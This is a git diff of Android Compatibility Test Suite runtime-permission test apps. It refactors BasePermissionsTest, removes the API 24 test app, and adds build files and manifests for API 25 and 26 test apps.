+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
@@ -23,8 +23,9 @@
android-support-test \
compatibility-device-util \
ctstestrunner \
- ub-uiautomator \
- legacy-android-test
+ ub-uiautomator
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src) \
../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
@@ -32,7 +33,7 @@
LOCAL_PACKAGE_NAME := CtsUsePermissionApp23
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
index 658dcd0..d0ca617 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -17,6 +17,7 @@
package com.android.cts.usepermission;
import static junit.framework.Assert.assertEquals;
+
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.fail;
@@ -46,13 +47,16 @@
import android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction;
import android.widget.ScrollView;
import android.widget.Switch;
+
+import junit.framework.Assert;
+
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
import java.util.List;
import java.util.Map;
import java.util.concurrent.Callable;
import java.util.concurrent.TimeoutException;
-import junit.framework.Assert;
-import org.junit.Before;
-import org.junit.runner.RunWith;
@RunWith(AndroidJUnit4.class)
public abstract class BasePermissionsTest {
@@ -65,6 +69,67 @@
private static final String LOG_TAG = "BasePermissionsTest";
private static Map<String, String> sPermissionToLabelResNameMap = new ArrayMap<>();
+ static {
+ // Contacts
+ sPermissionToLabelResNameMap.put(Manifest.permission.READ_CONTACTS,
+ "@android:string/permgrouplab_contacts");
+ sPermissionToLabelResNameMap.put(Manifest.permission.WRITE_CONTACTS,
+ "@android:string/permgrouplab_contacts");
+ // Calendar
+ sPermissionToLabelResNameMap.put(Manifest.permission.READ_CALENDAR,
+ "@android:string/permgrouplab_calendar");
+ sPermissionToLabelResNameMap.put(Manifest.permission.WRITE_CALENDAR,
+ "@android:string/permgrouplab_calendar");
+ // SMS
+ sPermissionToLabelResNameMap.put(Manifest.permission.SEND_SMS,
+ "@android:string/permgrouplab_sms");
+ sPermissionToLabelResNameMap.put(Manifest.permission.RECEIVE_SMS,
+ "@android:string/permgrouplab_sms");
+ sPermissionToLabelResNameMap.put(Manifest.permission.READ_SMS,
+ "@android:string/permgrouplab_sms");
+ sPermissionToLabelResNameMap.put(Manifest.permission.RECEIVE_WAP_PUSH,
+ "@android:string/permgrouplab_sms");
+ sPermissionToLabelResNameMap.put(Manifest.permission.RECEIVE_MMS,
+ "@android:string/permgrouplab_sms");
+ sPermissionToLabelResNameMap.put("android.permission.READ_CELL_BROADCASTS",
+ "@android:string/permgrouplab_sms");
+ // Storage
+ sPermissionToLabelResNameMap.put(Manifest.permission.READ_EXTERNAL_STORAGE,
+ "@android:string/permgrouplab_storage");
+ sPermissionToLabelResNameMap.put(Manifest.permission.WRITE_EXTERNAL_STORAGE,
+ "@android:string/permgrouplab_storage");
+ // Location
+ sPermissionToLabelResNameMap.put(Manifest.permission.ACCESS_FINE_LOCATION,
+ "@android:string/permgrouplab_location");
+ sPermissionToLabelResNameMap.put(Manifest.permission.ACCESS_COARSE_LOCATION,
+ "@android:string/permgrouplab_location");
+ // Phone
+ sPermissionToLabelResNameMap.put(Manifest.permission.READ_PHONE_STATE,
+ "@android:string/permgrouplab_phone");
+ sPermissionToLabelResNameMap.put(Manifest.permission.CALL_PHONE,
+ "@android:string/permgrouplab_phone");
+ sPermissionToLabelResNameMap.put("android.permission.ACCESS_IMS_CALL_SERVICE",
+ "@android:string/permgrouplab_phone");
+ sPermissionToLabelResNameMap.put(Manifest.permission.READ_CALL_LOG,
+ "@android:string/permgrouplab_phone");
+ sPermissionToLabelResNameMap.put(Manifest.permission.WRITE_CALL_LOG,
+ "@android:string/permgrouplab_phone");
+ sPermissionToLabelResNameMap.put(Manifest.permission.ADD_VOICEMAIL,
+ "@android:string/permgrouplab_phone");
+ sPermissionToLabelResNameMap.put(Manifest.permission.USE_SIP,
+ "@android:string/permgrouplab_phone");
+ sPermissionToLabelResNameMap.put(Manifest.permission.PROCESS_OUTGOING_CALLS,
+ "@android:string/permgrouplab_phone");
+ // Microphone
+ sPermissionToLabelResNameMap.put(Manifest.permission.RECORD_AUDIO,
+ "@android:string/permgrouplab_microphone");
+ // Camera
+ sPermissionToLabelResNameMap.put(Manifest.permission.CAMERA,
+ "@android:string/permgrouplab_camera");
+ // Body sensors
+ sPermissionToLabelResNameMap.put(Manifest.permission.BODY_SENSORS,
+ "@android:string/permgrouplab_sensors");
+ }
private Context mContext;
private Resources mPlatformResources;
@@ -103,143 +168,6 @@
return activity;
}
- private void initPermissionToLabelMap(boolean permissionReviewMode) {
- if (!permissionReviewMode) {
- // Contacts
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_CONTACTS, "@android:string/permgrouplab_contacts");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.WRITE_CONTACTS, "@android:string/permgrouplab_contacts");
- // Calendar
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_CALENDAR, "@android:string/permgrouplab_calendar");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.WRITE_CALENDAR, "@android:string/permgrouplab_calendar");
- // SMS
- sPermissionToLabelResNameMap.put(
- Manifest.permission.SEND_SMS, "@android:string/permgrouplab_sms");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.RECEIVE_SMS, "@android:string/permgrouplab_sms");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_SMS, "@android:string/permgrouplab_sms");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.RECEIVE_WAP_PUSH, "@android:string/permgrouplab_sms");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.RECEIVE_MMS, "@android:string/permgrouplab_sms");
- sPermissionToLabelResNameMap.put(
- "android.permission.READ_CELL_BROADCASTS", "@android:string/permgrouplab_sms");
- // Storage
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_EXTERNAL_STORAGE,
- "@android:string/permgrouplab_storage");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.WRITE_EXTERNAL_STORAGE,
- "@android:string/permgrouplab_storage");
- // Location
- sPermissionToLabelResNameMap.put(
- Manifest.permission.ACCESS_FINE_LOCATION,
- "@android:string/permgrouplab_location");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.ACCESS_COARSE_LOCATION,
- "@android:string/permgrouplab_location");
- // Phone
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_PHONE_STATE, "@android:string/permgrouplab_phone");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.CALL_PHONE, "@android:string/permgrouplab_phone");
- sPermissionToLabelResNameMap.put(
- "android.permission.ACCESS_IMS_CALL_SERVICE",
- "@android:string/permgrouplab_phone");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_CALL_LOG, "@android:string/permgrouplab_phone");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.WRITE_CALL_LOG, "@android:string/permgrouplab_phone");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.ADD_VOICEMAIL, "@android:string/permgrouplab_phone");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.USE_SIP, "@android:string/permgrouplab_phone");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.PROCESS_OUTGOING_CALLS,
- "@android:string/permgrouplab_phone");
- // Microphone
- sPermissionToLabelResNameMap.put(
- Manifest.permission.RECORD_AUDIO, "@android:string/permgrouplab_microphone");
- // Camera
- sPermissionToLabelResNameMap.put(
- Manifest.permission.CAMERA, "@android:string/permgrouplab_camera");
- // Body sensors
- sPermissionToLabelResNameMap.put(
- Manifest.permission.BODY_SENSORS, "@android:string/permgrouplab_sensors");
- } else {
- // Contacts
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_CONTACTS, "@android:string/permlab_readContacts");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.WRITE_CONTACTS, "@android:string/permlab_writeContacts");
- // Calendar
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_CALENDAR, "@android:string/permgrouplab_calendar");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.WRITE_CALENDAR, "@android:string/permgrouplab_calendar");
- // SMS
- sPermissionToLabelResNameMap.put(
- Manifest.permission.SEND_SMS, "@android:string/permlab_sendSms");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.RECEIVE_SMS, "@android:string/permlab_receiveSms");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_SMS, "@android:string/permlab_readSms");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.RECEIVE_WAP_PUSH, "@android:string/permlab_receiveWapPush");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.RECEIVE_MMS, "@android:string/permlab_receiveMms");
- sPermissionToLabelResNameMap.put(
- "android.permission.READ_CELL_BROADCASTS",
- "@android:string/permlab_readCellBroadcasts");
- // Storage
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_EXTERNAL_STORAGE,
- "@android:string/permgrouplab_storage");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.WRITE_EXTERNAL_STORAGE,
- "@android:string/permgrouplab_storage");
- // Location
- sPermissionToLabelResNameMap.put(
- Manifest.permission.ACCESS_FINE_LOCATION,
- "@android:string/permgrouplab_location");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.ACCESS_COARSE_LOCATION,
- "@android:string/permgrouplab_location");
- // Phone
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_PHONE_STATE, "@android:string/permlab_readPhoneState");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.CALL_PHONE, "@android:string/permlab_callPhone");
- sPermissionToLabelResNameMap.put(
- "android.permission.ACCESS_IMS_CALL_SERVICE",
- "@android:string/permlab_accessImsCallService");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_CALL_LOG, "@android:string/permlab_readCallLog");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.WRITE_CALL_LOG, "@android:string/permlab_writeCallLog");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.ADD_VOICEMAIL, "@android:string/permlab_addVoicemail");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.USE_SIP, "@android:string/permlab_use_sip");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.PROCESS_OUTGOING_CALLS,
- "@android:string/permlab_processOutgoingCalls");
- // Microphone
- sPermissionToLabelResNameMap.put(
- Manifest.permission.RECORD_AUDIO, "@android:string/permgrouplab_microphone");
- // Camera
- sPermissionToLabelResNameMap.put(
- Manifest.permission.CAMERA, "@android:string/permgrouplab_camera");
- // Body sensors
- sPermissionToLabelResNameMap.put(
- Manifest.permission.BODY_SENSORS, "@android:string/permgrouplab_sensors");
- }
- }
-
@Before
public void beforeTest() {
mContext = InstrumentationRegistry.getTargetContext();
@@ -250,9 +178,7 @@
/* cannot happen */
}
- PackageManager packageManager = mContext.getPackageManager();
- mWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH);
- initPermissionToLabelMap(packageManager.isPermissionReviewModeEnabled());
+ mWatch = mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
UiObject2 button = getUiDevice().findObject(By.text("Close"));
if (button != null) {
@@ -510,23 +436,35 @@
private static void scroll(AccessibilityNodeInfo node, boolean forward) throws Exception {
getInstrumentation().getUiAutomation().executeAndWaitForEvent(
- () -> node.performAction(forward
- ? AccessibilityNodeInfo.ACTION_SCROLL_FORWARD
- : AccessibilityNodeInfo.ACTION_SCROLL_BACKWARD),
+ () -> {
+ if (isTv()) {
+ if (forward) {
+ getUiDevice().pressDPadDown();
+ } else {
+ for (int i = 0; i < 50; i++) {
+ getUiDevice().pressDPadUp();
+ }
+ }
+ } else {
+ node.performAction(forward
+ ? AccessibilityNodeInfo.ACTION_SCROLL_FORWARD
+ : AccessibilityNodeInfo.ACTION_SCROLL_BACKWARD);
+ }
+ },
(AccessibilityEvent event) -> event.getEventType()
- == AccessibilityEvent.TYPE_VIEW_SCROLLED,
+ == AccessibilityEvent.TYPE_VIEW_SCROLLED
+ || event.getEventType() == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED,
GLOBAL_TIMEOUT_MILLIS);
node.refresh();
waitForIdle();
}
-
private static void click(AccessibilityNodeInfo node) throws Exception {
getInstrumentation().getUiAutomation().executeAndWaitForEvent(
() -> node.performAction(AccessibilityNodeInfo.ACTION_CLICK),
(AccessibilityEvent event) -> event.getEventType()
== AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
- || event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED,
+ || event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED,
GLOBAL_TIMEOUT_MILLIS);
}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
index dc528a1..b4ed09f 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
@@ -193,7 +193,6 @@
permissions, new boolean[] {true});
// We should now have been granted both of the permissions from this group.
- // NOTE: This is undesired behavior which will be fixed for target API 24.
assertEquals(PackageManager.PERMISSION_GRANTED, getInstrumentation().getContext()
.checkSelfPermission(Manifest.permission.SEND_SMS));
}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp24/Android.mk
deleted file mode 100644
index 739f220..0000000
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner ub-uiautomator
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
- ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionActivity.java \
- ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
-
-LOCAL_PACKAGE_NAME := CtsUsePermissionApp24
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp24/AndroidManifest.xml
deleted file mode 100644
index 64f3f34..0000000
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.usepermission">
-
- <!-- Request two different permissions within the same group -->
- <uses-permission android:name="android.permission.SEND_SMS" />
- <uses-permission android:name="android.permission.RECEIVE_SMS" />
-
- <application>
- <activity android:name="com.android.cts.usepermission.BasePermissionActivity" />
- </application>
-
- <instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
- android:targetPackage="com.android.cts.usepermission" />
-
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/res/values-en-rGB/strings.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp24/res/values-en-rGB/strings.xml
deleted file mode 100755
index 27c9900..0000000
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/res/values-en-rGB/strings.xml
+++ /dev/null
@@ -1,4 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<resources>
- <string name="Permissions">Permission</string>
-</resources>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp24/res/values/strings.xml
deleted file mode 100755
index 6675383..0000000
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/res/values/strings.xml
+++ /dev/null
@@ -1,4 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<resources>
- <string name="Permissions">Permissions</string>
-</resources>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/src/com/android/cts/usepermission/UsePermissionTest24.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp24/src/com/android/cts/usepermission/UsePermissionTest24.java
deleted file mode 100644
index f87c67f..0000000
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/src/com/android/cts/usepermission/UsePermissionTest24.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.usepermission;
-
-import android.Manifest;
-import android.content.pm.PackageManager;
-import org.junit.Test;
-
-import static junit.framework.Assert.assertEquals;
-
-/**
- * Runtime permission behavior tests for apps targeting API 24
- */
-public class UsePermissionTest24 extends BasePermissionsTest {
- private static final int REQUEST_CODE_PERMISSIONS = 42;
-
- @Test
- public void testOnlyRequestedPermissionsGranted() throws Exception {
- // Start out without permission
- assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
- .checkSelfPermission(Manifest.permission.RECEIVE_SMS));
- assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
- .checkSelfPermission(Manifest.permission.SEND_SMS));
-
- String[] firstPermissions = new String[] {Manifest.permission.RECEIVE_SMS};
-
- // Request only one permission and confirm
- BasePermissionActivity.Result firstResult = requestPermissions(firstPermissions,
- REQUEST_CODE_PERMISSIONS,
- BasePermissionActivity.class,
- () -> {
- try {
- clickAllowButton();
- getUiDevice().waitForIdle();
- } catch (Exception e) {
- throw new RuntimeException(e);
- }
- });
-
- // Expect the permission is granted
- assertPermissionRequestResult(firstResult, REQUEST_CODE_PERMISSIONS,
- firstPermissions, new boolean[] {true});
-
- // We should not have the other permission in the group
- assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
- .checkSelfPermission(Manifest.permission.SEND_SMS));
-
- String[] secondPermissions = new String[] {Manifest.permission.SEND_SMS};
-
- // Request the other permission which should be auto-granted
- BasePermissionActivity.Result secondResult = requestPermissions(secondPermissions,
- REQUEST_CODE_PERMISSIONS + 1, BasePermissionActivity.class, null);
-
- // Expect the permission is granted
- assertPermissionRequestResult(secondResult, REQUEST_CODE_PERMISSIONS + 1,
- secondPermissions, new boolean[] {true});
-
- // We now should have both permissions
- assertEquals(PackageManager.PERMISSION_GRANTED, getInstrumentation().getContext()
- .checkSelfPermission(Manifest.permission.RECEIVE_SMS));
- assertEquals(PackageManager.PERMISSION_GRANTED, getInstrumentation().getContext()
- .checkSelfPermission(Manifest.permission.SEND_SMS));
- }
-}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
new file mode 100644
index 0000000..ac4f272
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
@@ -0,0 +1,42 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../UsePermissionApp23/src) \
+ ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
+LOCAL_RESOURCE_DIR := cts/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res
+
+LOCAL_PACKAGE_NAME := CtsUsePermissionApp25
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/AndroidManifest.xml
new file mode 100644
index 0000000..acaeeb0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/AndroidManifest.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.usepermission">
+
+ <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="25" />
+
+ <!-- Request two different permissions within the same group -->
+ <uses-permission android:name="android.permission.SEND_SMS" />
+ <uses-permission android:name="android.permission.RECEIVE_SMS" />
+
+ <!-- Contacts -->
+ <!-- Deliberately request WRITE_CONTACTS but *not* READ_CONTACTS -->
+ <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
+
+ <!-- Calendar -->
+ <uses-permission android:name="android.permission.READ_CALENDAR"/>
+ <uses-permission android:name="android.permission.WRITE_CALENDAR"/>
+
+ <!-- SMS -->
+ <uses-permission android:name="android.permission.SEND_SMS"/>
+ <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+ <uses-permission android:name="android.permission.READ_SMS"/>
+ <uses-permission android:name="android.permission.RECEIVE_WAP_PUSH"/>
+ <uses-permission android:name="android.permission.RECEIVE_MMS"/>
+ <uses-permission android:name="android.permission.READ_CELL_BROADCASTS"/>
+
+ <!-- Storage -->
+ <!-- Special case: WRITE_EXTERNAL_STORAGE implies READ_EXTERNAL_STORAGE -->
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+
+ <!-- Location -->
+ <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+ <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
+
+ <!-- Phone -->
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+ <uses-permission android:name="android.permission.CALL_PHONE"/>
+ <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+ <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
+ <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL"/>
+ <uses-permission android:name="android.permission.USE_SIP"/>
+ <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
+
+ <!-- Phone -->
+ <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+
+ <!-- Camera -->
+ <uses-permission android:name="android.permission.CAMERA"/>
+
+ <!-- Body Sensors -->
+ <uses-permission android:name="android.permission.BODY_SENSORS"/>
+
+ <application>
+ <activity android:name="com.android.cts.usepermission.BasePermissionActivity" />
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.usepermission" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
new file mode 100644
index 0000000..7064288
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
@@ -0,0 +1,43 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+ ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionActivity.java \
+ ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+LOCAL_RESOURCE_DIR := cts/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res
+
+LOCAL_PACKAGE_NAME := CtsUsePermissionApp26
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/AndroidManifest.xml
new file mode 100644
index 0000000..845e43d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.usepermission">
+ <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26" />
+
+ <!-- Request two different permissions within the same group -->
+ <uses-permission android:name="android.permission.SEND_SMS" />
+ <uses-permission android:name="android.permission.RECEIVE_SMS" />
+
+ <application>
+ <activity android:name="com.android.cts.usepermission.BasePermissionActivity" />
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.usepermission" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/src/com/android/cts/usepermission/UsePermissionTest26.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/src/com/android/cts/usepermission/UsePermissionTest26.java
new file mode 100644
index 0000000..e64838b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/src/com/android/cts/usepermission/UsePermissionTest26.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
